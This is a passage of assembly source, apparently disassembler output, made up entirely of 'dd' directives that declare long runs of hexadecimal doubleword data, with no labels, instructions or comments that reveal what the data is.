		dd 0F72C5C19h, 370FF411h, 0A78DC3DAh, 3AF1CCFAh, 0DBEC0A78h
		dd 16581432h, 9BC0F431h, 5E353433h, 0AF729000h,	5AD9C61Ch
		dd 257000F8h, 0AA0CD373h, 0C4A43DE1h, 14048000h, 0AECF96E3h
		dd 349C610h, 79FA21F0h,	2527DE12h, 8078D009h, 98CD6C39h
		dd 6D590FA4h, 4E80D4CFh, 0E0FCB021h, 81703Ch, 0E9EAB83Dh
		dd 0E066512h, 0AE4EF96Bh, 91E19C61h, 628C534Ch,	0D9333898h
		dd 0C9168300h, 3FEFF544h, 31AB0058h, 0ED667DA5h, 3200A0CFh
		dd 0D39BB542h, 0EC678072h, 5BD60097h, 2995BBABh, 640020C2h
		dd 197607A6h, 24096C57h, 11B05BB2h, 20BC50C4h, 0D36000E9h
		dd 1FFC042Dh, 80F27E52h, 10F5733Eh, 8034704Dh, 0D2855E4Bh
		dd 7A8CA815h, 0ACE50060h, 5C20754Ah, 5200E055h,	8387EB6Ah
		dd 8B9D1Bh, 443227AAh, 0CCCFEA79h, 0C035F700h, 0B86B8A71h
		dd 0D2B31870h, 295F8918h, 428BBF2Eh, 9DB05318h,	5DBB07BEh
		dd 88D4192Dh, 0D1579F80h, 4334517h, 9924495Eh, 9D8CC067h
		dd 81E9D3B3h, 6C6D93A1h, 33F48B5Ah, 4DE40020h, 1D7DAD40h
		dd 1491D401h, 0CF553C01h, 0BDE0E783h, 0A54907F3h, 60D486A1h
		dd 72B0E850h, 8722EB04h, 0C4C0D13Bh, 15276E1h, 98436AB8h
		dd 32967771h, 29DD00A8h, 0D8144DB7h, 0AD3F005Ch, 0E14EBDECh
		dd 4251B315h, 2AC99FE6h, 17D41EC6h, 785D0089h, 0C72C1BC2h
		dd 8B0014BDh, 0F6CE2262h, 28674E0Fh, 5C40CF1h, 5AB64935h
		dd 0ECD40833h, 0A982FA10h, 2CC143A7h, 2B318038h, 9030564Dh
		dd 79D2E8h, 0A89FF9D8h,	0C307F179h, 0B885AD22h,	0F08F6393h
		dd 7479E72h, 1EFA6A44h,	0A3E6B0CFh, 930AA6F6h, 38761126h
		dd 0A2AC0E0Fh, 44BCCF09h, 0FB023028h, 0D1CD3869h, 0ED318200h
		dd 2359A917h, 25E70207h, 40C6A779h, 0E5CB6DC0h,	6C2A0524h
		dd 24B7CF06h, 69B80549h, 81D31EF0h, 0F9A6FBBCh,	1844EECFh
		dd 0F87B1118h, 0FA66A989h, 0CC9C1472h, 0B2C8C8Fh, 958635Ch
		dd 790667C8h, 0DA48B57Fh, 87CD8084h, 43F48CBh, 729DCA39h
		dd 4F44C1E3h, 801C623Ch, 23F62047h, 0CDAA011Bh,	36408B26h
		dd 461AEC6Dh, 53AE0200h, 0A6313ACh, 9D330E2h, 767A7D39h
		dd 3C008372h, 0A62AEF2Eh, 1EB3D423h, 80D69D49h,	2638A218h
		dd 38B0080Ah, 706C6850h, 0BF9CDA14h, 64452EE4h,	0D92BB502h
		dd 0EE6320F2h, 0FB0355E3h, 62959228h, 6065CADAh, 480C5014h
		dd 0D90058E6h, 986CE0D3h, 0B648AA6Bh, 0C5E41400h, 2E31CF84h
		dd 34518071h, 48C72CBh,	0DC13A6E6h, 0C84C8D3h, 0C2056001h
		dd 1E6304C0h, 3F2755F0h, 2B803CD8h, 22CD08A2h, 0A32CCC62h
		dd 0AA001CC6h, 9B7960A0h, 0BD24A824h, 0AD6A1C66h, 0D2B641D9h
		dd 0C4447779h, 25004DC5h, 8C356C5Ah, 0A9750B4h,	2AB305Eh
		dd 0F6D98CE4h, 906039B1h, 0B133A670h, 4DF0C0F2h, 0F9057E09h
		dd 2270DE4Ch, 0B0AB031Eh, 253F28Ch, 0C52B2E2h, 0E61F4090h
		dd 0A640DB88h, 0C4018E5h, 771035E8h, 0A0A81271h, 37497B75h
		dd 8CA84008h, 18621158h, 0BA108BAEh, 0D4EC0016h, 0B060E972h
		dd 68B07F3Ah, 948D6F2Eh, 0E519803Ch, 0CDA35332h, 80703ACEh
		dd 387D1686h, 0BC048878h, 45FCD55Bh, 0F8813C88h, 94E900A0h
		dd 838F71CAh, 4F00B0AAh
		dd 1EE16131h, 0F0AD5C1h, 525EA8CFh, 70CB5C01h, 0EA8339Fh
		dd 0C0C8AEE6h, 5BD3B17Eh, 0D9FD6703h, 8049970Ah, 0A210564Fh
		dd 944B0400h, 0BD69CA67h, 7C75018Eh, 9071E259h,	0E3589D28h
		dd 41FA02CCh, 524400C1h, 21EADBF0h, 797629A0h, 0D2DAD602h
		dd 4473112Eh, 0B9CF2950h, 71293EC4h, 45F428ACh,	8ED96025h
		dd 3FFFA901h, 0E79130FDh, 79D299Ch, 0A23152A6h,	4E4037Ch
		dd 0D8CBB00h, 0B8BDF3D1h, 370100C9h, 20C8B243h,	0A286D1Fh
		dd 0DB05CC5Dh, 0C39CE87Dh, 0FC43E401h, 0DF103B73h, 3316576Dh
		dd 78460A3Eh, 61F302h, 0BA669BDAh, 9930A6FFh, 690010B9h
		dd 3D807317h, 1501007Eh, 52F97954h, 0A4041E4Ch,	7277649Ah
		dd 6F9644C0h, 32CCA024h, 19B20069h, 0ECC7A5C1h,	0F9DF1FD2h
		dd 0B41B1000h, 1C457D0h, 197EAFF5h, 29D9C9ADh, 73BC00A4h
		dd 658BE2D6h, 0DFB5003Eh, 174F207Dh, 0FA79A19Dh, 2497F806h
		dd 7D93996h, 0F26DE930h, 88D934F5h, 9E3EA2F0h, 4DBA0073h
		dd 321F0CC1h, 2008B1A5h, 0DC095080h, 0FF848AF9h, 9734CC5Dh
		dd 22C82300h, 0DA6C9E9Bh, 145F033Eh, 0CCFD73C4h, 0B6A4ADC8h
		dd 320E0971h, 860CB161h, 4B61C997h, 9F8840D9h, 3CA6151Ah
		dd 65CDA900h, 0E48391E5h, 4EA112AFh, 0C0640AEBh, 7C3711D4h
		dd 8F284275h, 9B38AC57h, 129F00C8h, 911563EFh, 4229C032h
		dd 0C52637A1h, 7E072E4h, 0EE98D40Bh, 9F248480h,	7CE440CDh
		dd 0D6200F73h, 2AC0148Eh, 892CA63h, 30CFE01Eh, 0E6048C6Bh
		dd 0DBC29FCDh, 0A2ACE0E2h, 912818DBh, 820C7947h, 3C847400h
		dd 0EDC7031Bh, 723800E7h, 2431BCA7h, 8A067DD8h,	0F6025C6Ch
		dd 23500059h, 0DD1894B2h, 0F21E38C7h, 0D004F388h, 0ED404A91h
		dd 6A819A2h, 8C90F000h,	8B23016h, 0C4020503h, 0ACC04291h
		dd 0FC3700FCh, 97CB8363h, 5CBC98D5h, 1C102CBBh,	7F8400F1h
		dd 2AB879B9h, 0A4190467h, 0C2E90646h, 6C59BC50h, 0A8F90E00h
		dd 11D1C39h, 0A99166EEh, 47204CE3h, 1804EB84h, 0F4F856F7h
		dd 4C82DF04h, 497CC023h, 265C1854h, 0D47718DCh,	0A4AFCF29h
		dd 40024BBCh, 0D785E54h, 0C900EC87h, 0DA03AC86h, 7253CA81h
		dd 0F83058A0h, 0F4670101h, 84C18E19h, 0BCA6ED10h, 0E0981CC4h
		dd 38B1986h, 0C48F59F8h, 0AB006D5Fh, 712FF159h,	7BD7F4Fh
		dd 344BE06Bh, 0CC5B02DEh, 8100A859h, 2B6159EDh,	90717773h
		dd 0F89148A0h, 0C03F9F84h, 27958B3h, 33CC3E04h,	78B2327Fh
		dd 671F093Bh, 97B280ADh, 9C011042h, 6AF3B0C1h, 0B04CF539h
		dd 0A67600AAh, 0A568EFB1h, 9404DC1Ch, 0DAE64312h, 384FB4A4h
		dd 108C67CFh, 0E1E91BD4h, 0A402CE7Bh, 2705D27h,	88C403h
		dd 0C6575291h, 43A35410h, 9F324C03h, 90DE22C9h,	18A82C6Ah
		dd 31F40288h, 0D102F9D5h, 0CAED74BEh, 0AC7471C0h, 586D6058h
		dd 500CFFBh, 0D1BE514Fh, 2EC5C0h, 497674ECh, 0F971B155h
		dd 65852F6h, 0B414245Dh, 1401E112h, 0FDD9D5F4h,	656CE310h
		dd 0B0CD1F01h, 14ED6310h, 0F6D296h, 8306B98Ch, 4B1ED3ABh
		dd 64CBB2CDh, 912E83A3h, 4299002Fh, 5D243B62h, 0A7E4098Ch
		dd 0A0F8EB05h, 8CC06930h, 98E13FA9h, 0DA6511F0h, 9A007ECFh
		dd 0AF979086h, 77D109Dh, 29ACA8FBh, 78FC2196h, 4861B33Dh
		dd 33DBC2h, 81FB1611h, 273CD4C8h, 72598807h, 7AA2D3BDh
		dd 1EECE15Ah, 9ACDCC50h, 0D5AD32B2h, 84203C50h,	5C0EBD9Ch
		dd 805199B3h, 1AB8C74h,	47114589h, 41D2E209h, 0D3A5B724h
		dd 1CC0C2E2h, 0E31233ADh, 8601ABDAh, 271CEC79h,	3FF420h
		dd 0A5E93DB5h, 9F3092D9h, 8054ED4Ch, 0FCBAE8A3h, 396CA471h
		dd 0BE1DABB9h, 55BB4070h, 0C50E7976h, 5C4AE209h, 9E818CAh
		dd 0C8B53C46h, 0FCFB8E05h, 5A680944h, 0E0A7B425h, 4650B696h
		dd 0CA29EEF4h, 9796D4A5h, 0FCA94861h, 982CE9D9h, 0BDB78901h
		dd 0C0126ABEh, 0DF3D9261h, 0FCDA18D2h, 3ADE81h,	0D0F76E4Ch
		dd 85BB38B8h, 8CBF8A03h, 13DB9h, 5DA148E9h, 75F13CADh
		dd 0C7005F7Ch, 0AF4223D4h, 98513393h, 0F210207Ch, 0EA7F1900h
		dd 87887C35h, 5076E5h, 0EBCEA0BCh, 0F5025A96h, 39F459C0h
		dd 539EC4h, 0AA8F8221h,	9AFA8B5h, 1025DCB0h, 0BA349071h
		dd 8FD891C5h, 6661AD8Eh, 1018D3D4h, 0C1D0F2h, 743EBED7h
		dd 0CF4075AEh, 4827BB4Ah, 0F5F74760h, 9E89E4F0h, 30A160D0h
		dd 1E28A93Ah, 31E5BC82h, 0A0F40C48h, 0C024124h,	0D656D105h
		dd 15E4808Dh, 14F30049h, 0FDBC6AA9h, 64947211h,	90002665h
		dd 23086D57h, 52500EB5h, 0CE075AA6h, 173245D0h,	0BA7430FCh
		dd 0AA005820h, 78A8FFB7h, 4874A153h, 342278DEh,	9863302Ch
		dd 38288C49h, 5F53328Ch, 4441B3C0h, 685450E4h, 0A200BDE2h
		dd 7BB07789h, 16CDAA7h,	2ADD1C2Ch, 50E2D406h, 8ACEE494h
		dd 0E984042Ch, 7824A10Ch, 0DB418A38h, 0F83021B8h, 8C505448h
		dd 78A8FBA4h, 848405Eh,	0EA80DE08h, 0ECBDFFA8h,	54F61E9Fh
		dd 3C8141BBh, 31854A03h, 40B44048h, 44A8102Bh, 0B3024F1Ch
		dd 91B53069h, 9C80FFABh, 0A3EA331Bh, 0DFB1F31Bh, 0A031E668h
		dd 2499D5h, 3A2C326h, 479DD60h,	0E251F700h, 0EF72335Ah
		dd 2647000Ah, 65118D21h, 9D0080FFh, 3AEAA0B0h, 25A31B8h
		dd 290DD8ABh, 1044D9D4h, 6BACD609h, 0AA80864Ah,	0C0CF871h
		dd 0B49CC101h, 520235F8h, 0F3D0EB79h, 709381F0h, 0F031D287h
		dd 0C00CC0h, 0C1237E98h, 0D396717Bh, 74068502h,	0E0CE452Eh
		dd 748AFFCh, 67B69CF7h,	0B5A8A02Ah, 823CE786h, 9D320B18h
		dd 0DC007D54h, 22DB2029h, 28739A04h, 0A083314Ch, 0AD681803h
		dd 32850813h, 96F1C200h, 3106F27Dh, 5F24003Ah, 67BA7FE5h
		dd 48018307h, 6F636E3Eh, 40808501h, 1EB3CD05h, 4F00FBA5h
		dd 814C7C31h, 3234D76h,	65A6577Bh, 600E08ECh, 43988C03h
		dd 989C668Eh, 591F6Fh, 531D8217h, 119AFBEh, 85993060h
		dd 0F37D83h, 0C4876575h, 92FD0E8Fh, 8B28BF60h, 789DD29Ch
		dd 0B6518F1h, 554E405Dh, 2A1250C0h, 22B6CFh, 49846A79h
		dd 0C1BE0F11h, 0FD7B2B7Ch, 0D5042A02h, 0E0175078h, 0E8A1D8BDh
		dd 32E20019h, 0C86959BBh, 1800A862h, 444166A0h,	1E728153h
		dd 0C063E185h, 0E7E6908Ch, 1769F8Dh, 91BFD228h,	2A8C0D54h
		dd 5775DD06h, 0D1B0A3h,	0E41EA535h, 2B5B6CF8h, 0E06DCB1Eh
		dd 2004B58Ch, 0AF341F89h, 908280C6h, 33BEDA42h,	7A74AE26h
		dd 0E05D703h, 33618686h, 0A859B2A3h, 0EEA4B0E0h, 91DA6B18h
		dd 7B3248F0h, 2D60A5Dh,	86A81536h, 41046863h, 57C64C00h
		dd 0EBF5B3F9h, 527DB4h,	0B7FBEE1h, 0ADB9E74Ah, 97390660h
		dd 1FEEF3EDh, 18C275C0h, 0F5FD190Bh, 0A6E4AA30h, 1B2063Bh
		dd 749B7111h, 406AC78Eh, 2824D5DCh, 675E707h, 6771CC77h
		dd 60D58D55h, 5BC7330h,	0A3498214h, 0BD8441A6h,	0C81AF26Ah
		dd 7E300E47h, 5F45963Ch, 52780304h, 0B8FDF697h,	1B6F3618h
		dd 0EE3D89D1h, 3A51001Dh, 0A5413C53h, 4707B476h, 1ECC38EBh
		dd 48FCB2F0h, 9A3D07DBh, 0AAF0E287h, 8E0E40A8h,	0D303A189h
		dd 0F76B7AD2h, 8B2CC8ACh, 8F8017FDh, 5F910752h,	0C09DFE5Ch
		dd 7285A6D2h, 6B0010F1h, 0ECC22B8Bh, 52C2Dh, 0C602B9E6h
		dd 2373E7CDh, 54B0EB0Eh, 6AF83965h, 88240FE1h, 8CB6008Bh
		dd 140959E4h, 0E5B858A1h, 3B08254h, 322DE703h, 7C8A31BDh
		dd 7E9EF0A9h, 0FA0B30E0h, 0B3590E29h, 10836501h, 688BE52h
		dd 0CB8E4183h, 0FCA0E78h
		dd 0CC7A26h, 1B362658h,	15CA8DFDh, 0D601A03h, 1803890Eh
		dd 714DA329h, 0C7004388h, 4426E2Eh, 0BB506Ah, 11F572E0h
		dd 8464CF8Dh, 0AB00157Ah, 9E8C3621h, 535E59h, 763B8A40h
		dd 307F886Ah, 43802891h, 849CA71Ch, 322400AEh, 0CF72E1F2h
		dd 0C8B05629h, 2C78AF00h, 892D9B04h, 5E330344h,	0D84C64FDh
		dd 20F087E4h, 87D1CE01h, 9707C775h, 84BE306Eh, 606FF93Ch
		dd 5669C905h, 8014ED3h,	0A70D5876h, 0A041BD8Bh,	8211F933h
		dd 0E7518416h, 4493B8A5h, 6E6AD0FDh, 73D907ACh,	0F583CFDBh
		dd 0D0910B27h, 31A6C001h, 48A43280h, 53470AC0h,	0D70FF41Dh
		dd 0C8615BACh, 36EE4Eh,	0A0C65A63h, 0C4AD80A2h,	24788400h
		dd 7596421Ah, 126F7CB2h, 339C3239h, 54E3986Ch, 0DB191F80h
		dd 0B0F8BF00h, 95AF8AE6h, 0D0A50CECh, 766909ADh, 57E97D00h
		dd 44BF71E4h, 0B2B80003h, 0A56761D2h, 900E5F7Ah, 207B6550h
		dd 3135C71Ah, 8E2C918Ch, 0CCC4E7F4h, 2EC450Bh, 74EDA840h
		dd 96628h, 9C62D2EBh, 3D8B12FAh, 58BEF43Ah, 5C28686Eh
		dd 87B7C080h, 3BED1AFh,	0F8B49091h, 75F14B8Ah, 0BF7E30E9h
		dd 39058430h, 6C5A580h,	0AC307183h, 0A007810Fh,	9D08D9C9h
		dd 1126CA41h, 802E6E9Eh, 160FC871h, 3F13D6C0h, 0B43140B5h
		dd 10E86A5Ch, 64D00D7h,	9A88977Ch, 0A713F58Dh, 60305E13h
		dd 419D4CDh, 0A1F6E936h, 42F08117h, 87FED4A2h, 38F0C530h
		dd 3021A099h, 7C61B3A3h, 0A8007179h, 305FB0CBh,	35A2F508h
		dd 0F213901h, 20768DC8h, 49E90404h, 9414B024h, 68C30A0Ch
		dd 0B6F666h, 1A6C73FDh,	7AD1C38h, 0CE6741C0h, 72D7D44h
		dd 28FA5FD0h, 0AF1A00D4h, 58B0522Ch, 94F0403Eh,	34BA0Eh
		dd 0CAA50975h, 4877BE4Fh, 0E006B61h, 0EB04CE41h, 8C04179Dh
		dd 0FD7931DDh, 84C65082h, 6F4902C0h, 0E399FC10h, 0D7461D00h
		dd 9CFE400Fh, 0D24514DDh, 170AF48Bh, 54AC2Ch, 3F72EB76h
		dd 0A50044C2h, 90A12E41h, 175865CCh, 8647EDAh, 0DD87B634h
		dd 80F96105h, 2DD46618h, 0A32418CDh, 0C3FF21BEh, 158E1E00h
		dd 0C5C8BB53h, 37CE073Eh, 0A0E2AA74h, 4738D204h, 0F0001FECh
		dd 6D88FC8Dh, 30527063h, 58C11E6Fh, 28F439D4h, 2C09500h
		dd 81CDB944h, 2C5307FCh, 1EECB30Ch, 13397C94h, 48FFB980h
		dd 8A8E597Fh, 0E05CE77Bh, 0E9873034h, 0C0076803h, 1FEC9461h
		dd 6209054Fh, 90AAE764h, 0E0C318h, 0D392B0BCh, 0BD25520Eh
		dd 0B7AD800h, 0F344B487h, 3C4B71CAh, 0BF9FBC6Fh, 3ECC41E2h
		dd 32850E65h, 8024C9BCh, 0B5945389h, 0BE8D1CA5h, 5FB4D666h
		dd 30AD9C24h, 33201A1h,	1827E5E4h, 325DC55h, 5EFDCDB1h
		dd 8B3B25E8h, 8060A548h, 26652BF5h, 0E4F10093h,	0BBF4719Ch
		dd 0F60FCE02h, 0E06878FEh, 822BA141h, 8F8A118h,	472DC717h
		dd 0D3D66076h, 0FF09F51Fh, 0F7129Ch, 2147F894h,	80E0912Bh
		dd 9F71F1EEh, 0A009E97Fh, 0A488919Bh, 0EC814C51h, 83F16C6Eh
		dd 2E77D870h, 62A00E84h, 0ACA0BCA3h, 0F83D30BAh, 8BE36A00h
		dd 7E75DFB2h, 2FB701D8h, 78E4749Ah, 2D0486Fh, 95CF6807h
		dd 7641C0C4h, 0C03F541Fh, 846B04F6h, 0E6EF106h,	1310982h
		dd 9487CE2Ah, 20B7652Dh, 64038D90h, 0F33228F9h,	8018C2FDh
		dd 0AA957E88h, 9710245h, 0AD0EB57Fh, 13728C90h,	206FAF00h
		dd 61ED3ABh, 45D9131Fh,	73810092h, 7DE4BD62h, 0FAEA88B8h
		dd 0BB015CB0h, 26EBA45Ah, 49870EADh, 7716E058h,	8DBC533Eh
		dd 0CE1761E0h, 0CF0980F4h, 2009EB7Ch, 716BFB48h, 2CB806E9h
		dd 190EECCEh, 91C40400h, 3051D2D9h, 0AE23006Ch,	5CBDB262h
		dd 0E0C92924h, 7F4080E7h, 986A826Bh, 0B0BA0150h, 0A37E1720h
		dd 0C0C3061h, 0EA094484h, 0A61C1700h, 8E51A3CDh, 613498CFh
		dd 3BDA4015h, 197030C6h, 1BC6D3Eh, 492C7254h, 188E92F7h
		dd 64A05B76h, 0D4335DFFh, 0B1A5F812h, 9834840h,	4896A2F3h
		dd 0E1002463h, 0C32BC4E8h, 2D4CE94Ah, 196F0178h, 1868637Bh
		dd 0A37AA910h, 0FC39D003h, 0C0E7C599h, 1CE7FCFh, 52A03DC7h
		dd 706A6D8Fh, 7448DA8h,	0D358C11Fh, 4C01689Ah, 150ECE9Ch
		dd 0E0234B10h, 3FF0B33Dh, 0EEB20F17h, 2053BE3Ah, 0A2843104h
		dd 74A64C92h, 34EF3B00h, 0AE68DEDBh, 7B1C1DABh,	0DFB8431Fh
		dd 6F9061F6h, 49002533h, 826CB68Dh, 1CF2A79h, 928C7A62h
		dd 9F066F45h, 0BEC2D8D9h, 0E0912DABh, 901F895Eh, 4DE7F41Ch
		dd 8C11DC11h, 5758003Bh, 84F610C5h, 0A328C286h,	3061EA8Eh
		dd 40C6420Dh, 0CE0F0853h, 0C0A47433h, 6EEE41F9h, 4C4D007Fh
		dd 0B1A497B0h, 3E0065BBh, 0CCBAFC5Ah, 60B5906Ch, 16AA606Fh
		dd 0D9128E35h, 4C98ECC1h, 0E5E0A0B9h, 2C5E00FEh, 2B3BE005h
		dd 0D4909B33h, 0B422800h, 88B28EB7h, 12B92A85h,	0D6BF007Ch
		dd 0BA4F49F5h, 27179ADCh, 0C80C63ECh, 4E61BEh, 0DB96D252h
		dd 0E3CC8FA9h, 80D4DC38h, 56C869C3h, 9075824Dh,	0D3FC00E8h
		dd 67A49173h, 0F4AC652Eh, 996DD507h, 0F282411Ch, 521461FDh
		dd 646FE9EBh, 0F0A1D094h, 0DC831488h, 88A74A99h, 879FE9h
		dd 0CFD5707Eh, 1AC0A961h, 0ADF82261h, 1C35F3EEh, 0C0C2B444h
		dd 0D0C489h, 4B214971h,	87B93322h, 0E410D204h, 68A124FFh
		dd 40F20842h, 171DC3C8h, 41CA8C3Eh, 0CCDAE25Ch,	1439AAh
		dd 0DBF35A2Eh, 3C7E9B1h, 332F4850h, 0E0A84F93h,	0EC30BFA6h
		dd 180F13Ah, 0DFF706B7h, 0D18CBE29h, 5748FDF8h,	71620BACh
		dd 0D5280511h, 551A7840h, 0C2EDCCh, 0C9B60E51h,	0A44A8272h
		dd 31C6D11Fh, 9412805Dh, 2187D80Eh, 0AC2DF856h,	75243Dh
		dd 0D27A7E4Ch, 7F1020Fh, 17E88E5Bh, 9409BB3Bh, 44C9860Eh
		dd 72889C2Ch, 10B0A7C0h, 50DA052Bh, 0A0608431h,	0D6048Ch
		dd 0EE0A968Ah, 385354CCh, 0DC40684Bh, 34733E2Fh, 13E200BDh
		dd 0C9ACC880h, 17025FB1h, 6CCD067Dh, 0B818A01Dh, 7A96DC15h
		dd 982BFA59h, 269D1EDDh, 234FC92Ah, 78771880h, 0B8A80501h
		dd 9891BB85h, 0CC9EE380h, 8290FCh, 89E8B4ABh, 1368DD5Bh
		dd 2F5A505h, 0B6007380h, 0F6225294h, 0E41D5066h, 0B1BB09C5h
		dd 0C8C83F02h, 0C8A837ECh, 3800DBC1h, 0BA7DEBFDh, 71D9AFh
		dd 511A3550h, 0A35D70E1h, 73F9899h, 0E0C754EFh,	0FEFF5F32h
		dd 0AD57098Bh, 2F844890h, 0A144E300h, 0C82421A8h, 0DE8C0068h
		dd 0CED99FC0h, 6C00ACD7h, 955A7D02h, 1FD3AF8h, 0E0E933B6h
		dd 9F8EBE5Dh, 8D8C0349h, 17D7C2ECh, 20686406h, 6AB43EB4h
		dd 80AB733Fh, 824C1990h, 1EFBF592h, 2625F22Dh, 2CE8048h
		dd 4F7DFF55h, 5934EC30h, 0B37B4Ah, 0DB272D64h, 0C2B1FB53h
		dd 0FD81C600h, 0E8114D28h, 9CC3507Ch, 0D14A1FF2h, 5FC4C002h
		dd 3C74570Bh, 310ED896h, 4C8C358Bh, 7A35860h, 0E868EA0Ah
		dd 104B13B7h, 4C92F60h,	0CF71B22Ch, 4364C0DBh, 1E046BA6h
		dd 5B10E7Dh, 0E23E0144h, 7546010Ch, 1B5FCD93h, 581A2820h
		dd 670268C1h, 708276EBh, 0BF023C59h, 7FF5DB9Ch,	0A7D1DB60h
		dd 0E14AAF12h, 0C8D0C8h, 15F3466Ch, 5594C154h, 0A464A900h
		dd 0EA06A1A8h, 2DBD2C07h, 55E7C238h, 0EE0710E6h, 3E431740h
		dd 24872A20h, 0A4B0084h, 62BDC045h, 7F8936ECh, 599C8h
		dd 0F701E73Ch, 59207009h, 0BEE82B00h, 0ACFE5D04h, 0F259C002h
		dd 0FAD25337h, 3F796400h, 78C94FFBh, 0D80352ECh, 6A74B807h
		dd 0EE1BC05Ch, 0C83D4715h, 0E054247Dh, 892D4F00h, 50B9410Eh
		dd 0B78C14h, 485D9FC1h
		dd 2C03BDF3h, 6F50C012h, 0FC90A420h, 5375031Dh,	21ED1120h
		dd 1F665180h, 0D2017778h, 0E2A5CEC9h, 5030742Dh, 307D5CB3h
		dd 4DCCF300h, 0B6DC2BD7h, 8CA34E26h, 6A119F40h,	29C000FEh
		dd 42831576h, 201FB6B7h, 3B973C03h, 1A887C05h, 3DB7088Ch
		dd 39009C30h, 2A3DA632h, 59FE6553h, 9067C527h, 244AD4h
		dd 0B3955615h, 5135A7E9h, 0B464632Ch, 229A2B00h, 4483BE14h
		dd 71283105h, 8CB288F7h, 286E6912h, 5DD0F830h, 0DFCF079Ah
		dd 0A0252C01h, 0B89EE92Bh, 0DE14C909h, 0D8449Ch, 2D877FE3h
		dd 0B5BA69F5h, 2FE44204h, 64E4AC2Ch, 0CF9801B9h, 0C41B6DEEh
		dd 0D278848Eh, 0ECB21D64h, 18A30070h, 0FEDFB207h, 0BC1A9715h
		dd 6691317Fh, 82161EC4h, 0A64107F0h, 0CF50C214h, 0FE262CE8h
		dd 2B7D1C1Ch, 421B1E82h, 0A3E8983Dh, 0BEFAE5h, 101C81F2h
		dd 0B84F7FECh, 9EFEEE00h, 9B1FA36Bh, 12C2B0CCh,	258531CDh
		dd 0E7EC80DCh, 0B1091750h, 446504CFh, 0AC7F0074h, 7849A673h
		dd 28057CB9h, 0FE55191Fh, 0F245B883h, 0C24C6216h, 0A0345ACCh
		dd 0AE84948h, 1870EACh,	38B71450h, 0F94A6800h, 8CAE0880h
		dd 0D84B9E28h, 0E349F48h, 0F277BFC2h, 109CEC30h, 5E61006Fh
		dd 7CA8BC68h, 1110B86h,	49000336h, 0E6EAA487h, 63041124h
		dd 0C67D4E82h, 74DE2481h, 0C00B8ED0h, 0FE18B89h, 4E30CE5Dh
		dd 63E9781Bh, 0DDD1008Eh, 124C2C24h, 0B50B8D64h, 647FAFBFh
		dd 0FB03078Ch, 747015h,	0B19B8617h, 6C328A00h, 75833BCEh
		dd 258FE649h, 581088BCh, 0E0A0E271h, 60632BBh, 0DADC38Eh
		dd 354E821h, 5BEAFFA9h,	6480E51Dh, 7600CF8Bh, 0B214B1D4h
		dd 4F9C270Dh, 0D61440EBh, 0BBF233E3h, 0AECC5328h, 0ED18200h
		dd 0D50A7796h, 2B5D0546h, 20A5FF07h, 0E619F6A0h, 0AA33D801h
		dd 74D83BFh, 0BFA9890h,	80EDA4DCh, 807CF198h, 4767251Ch
		dd 0E6A83C90h, 7D917B05h, 8806910h, 27111CF4h, 80203101h
		dd 965A32B2h, 78045148h, 7F63388h, 0F8717A9Ah, 0D1C6A3E0h
		dd 6A094076h, 4662C89h,	51470D10h, 0AA5E1065h, 0C102B19Ah
		dd 0E71E8CB4h, 0BE06692h, 9B5A0D1Bh, 0F35CD880h, 500977Fh
		dd 9E1DCC41h, 0E4B502C8h, 1CB932h, 958DE7B7h, 0C0047679h
		dd 0B1566306h, 2B1D3081h, 1E83F83Ch, 0D6D0E1F1h, 0CA05891Fh
		dd 0A535EF2Ch, 0DDA69000h, 297FF2DBh, 808C6312h, 0D28EB221h
		dd 0D54C5D2Ah, 0DEEC0244h, 6064F7EDh, 0C965DA00h, 0C885CA08h
		dd 0DFACC161h, 0F19C6060h, 0B7AAE011h, 0BF807338h, 9F433050h
		dd 0F1001777h, 0B56FE901h, 2322BACh, 0D03141C4h, 90D9E4BEh
		dd 90F67000h, 2C3A66h, 529813FAh, 0DB72EED4h, 0DFBC2200h
		dd 0CCDD8714h, 12321647h, 26283065h, 4200566Fh,	2E3316AEh
		dd 3F34ED7Eh, 3716F3DAh, 8FA49105h, 4A88160Dh, 0E96C80D3h
		dd 9506879Ah, 0BBA37982h, 0C9553D91h, 0F23D6B81h, 0FF531C46h
		dd 0C6D39BA0h, 1B8E57Eh, 1FD1FA60h, 24CEC8Bh, 7A0657Dh
		dd 0FCE0D141h, 624A5D10h, 18B3A021h, 2B209C0h, 7E82175Ah
		dd 9CA0B4A4h, 0A58FC20Ah, 0EA61CE00h, 0F81C6592h, 0E6043928h
		dd 8DBE3E09h, 8631A4C8h, 0F026E0B9h, 0A9DC8CCh,	887F3156h
		dd 10AF0010h, 7A826555h, 0E1BFA330h, 8D6ACAh, 994E8CFDh
		dd 0C38F95E0h, 2D9D2604h, 7CC02B30h, 0B42EC745h, 170426F0h
		dd 2C6C20BBh, 0BA027E80h, 0E72976F5h, 847CE158h, 0CBC3546Ch
		dd 0E8093BA4h, 10AC5A47h, 9687EB0h, 0F2BCB78Eh,	0F9CCE083h
		dd 40FA3FA2h, 62DD70DFh, 2545581Dh, 38F5890Eh, 0B14AF4FCh
		dd 6BD48030h, 4B1B261Fh, 0C4D5F304h, 0B0A25102h, 0ED802200h
		dd 0F46C6377h, 8871A70Fh, 0E3DD001Bh, 2CB98Eh, 8C605949h
		dd 92FD4D90h, 0E7D20503h, 0A012C77Dh, 88023E03h, 0C3058763h
		dd 0ED92D346h, 2B71F005h, 0FA00CCE2h, 4625A331h, 2026B330h
		dd 0CD0A1435h, 40316C01h, 0D440565Bh, 606F64F1h, 4A6DA90Ah
		dd 0E7F2A9D4h, 0F977B3Fh, 27419B16h, 0BF40FDCAh, 0F33B758h
		dd 22500335h, 5EE387h, 83CBA380h, 21000672h, 697BBDEAh
		dd 0F3EDBh, 76B6D4ACh, 483B6A6Dh, 105C18C0h, 3DB94D72h
		dd 0D79FBB4Ah, 0FE30F06Bh, 0F400EA0Fh, 5FCDA3CFh, 0E334FAh
		dd 28D55C60h, 0AE54AAEh, 6F40EB79h, 6D6E0E48h, 6C87F8AAh
		dd 0AD5CD21Ah, 29DC37E0h, 7543B92Dh, 41C96300h,	3C1828A7h
		dd 3E89B1EAh, 31CA79A8h, 53117ED7h, 97E0E4BDh, 8672AB00h
		dd 0B899AADDh, 5B741839h, 29BD393Dh, 7E563B00h,	7FC2EA46h
		dd 0C8B7668Bh, 3200497Ah, 0BC2C74F6h, 5A3397h, 5F144E03h
		dd 0A8CDDD73h, 0CC09D200h, 0A3EAA987h, 64AF052Fh, 5E72D608h
		dd 4F37CF84h, 7EE08CEEh, 9127DDFFh, 6E676C03h, 7CD743h
		dd 4D1FC569h, 2BC9D3B4h, 82A98903h, 0E99BA241h,	0B18139B3h
